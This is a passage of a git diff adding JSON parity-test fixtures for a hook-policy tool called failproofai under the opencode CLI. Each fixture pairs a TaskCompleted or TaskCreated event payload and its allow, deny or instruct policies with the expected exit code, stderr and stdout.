"/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..005dbb89 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3c753217 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e5b0ce8f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..afb1b00a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..006ecc7d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5ae8847e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..80778637 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..60b077ae --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a36bc1a3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..282aff6f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8b534c1d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..72ff9703 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..df997ecb --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b19483d0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..09c534f3 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c364c4be --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..3bf23f36 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4bfaf492 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..49230574 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" 